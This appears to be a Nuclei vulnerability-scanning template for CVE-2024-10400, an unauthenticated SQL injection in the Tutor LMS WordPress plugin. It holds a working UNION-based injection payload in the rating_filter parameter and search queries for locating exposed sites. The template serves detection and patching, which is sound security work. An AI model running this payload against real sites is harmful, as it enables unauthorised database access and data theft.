Tutor LMS <= 2.7.6 - SQL Injection

id: CVE-2024-10400

info:
  name: Tutor LMS <= 2.7.6 - SQL Injection
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    The Tutor LMS plugin for WordPress is vulnerable to SQL Injection via the ‘rating_filter’ parameter in all versions up to, and including, 2.7.6 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
  impact: |
    Unauthenticated attackers can execute arbitrary SQL queries via the rating_filter parameter, potentially extracting sensitive database information including user credentials and course data.
  remediation: |
    Update Tutor LMS plugin to version 2.7.7 or later.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/tutor/tutor-lms-276-unauthenticated-sql-injection-via-rating-filter
    - https://nvd.nist.gov/vuln/detail/CVE-2024-10400
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-10400
    cwe-id: CWE-89
    epss-score: 0.8312
    epss-percentile: 0.99655
    cpe: cpe:2.3:a:themeum:tutor_lms:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: themeum
    product: tutor_lms
    framework: wordpress
    shodan-query: html:"/wp-content/plugins/tutor/"
    fofa-query: body="/wp-content/plugins/tutor/"
  tags: cve,cve2024,tutor-lms,lms,sqli,vkev,vuln

variables:
  num: '999999999'

http:
  - method: GET
    path:
      - "{{BaseURL}}/"
    extractors:
      - type: regex
        part: body
        internal: true
        name: nonce
        group: 1
        regex:
          - '"_tutor_nonce":"([a-z0-9]+)"'

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=load_filtered_instructor&_tutor_nonce={{nonce}}&rating_filter=1e0+and+1=0+Union+select+111,2222,3333,4,5,6,7,8,9,concat(md5({{num}}),version()),11,12,14--+-

    matchers:
      - type: word
        part: body
        words:
          - '{{md5(num)}}'
          - '"success":true'
        condition: and

    extractors:
      - type: regex
        part: body
        group: 1
        regex:
          - 'alt=\\".*?:(.*?)\\"'
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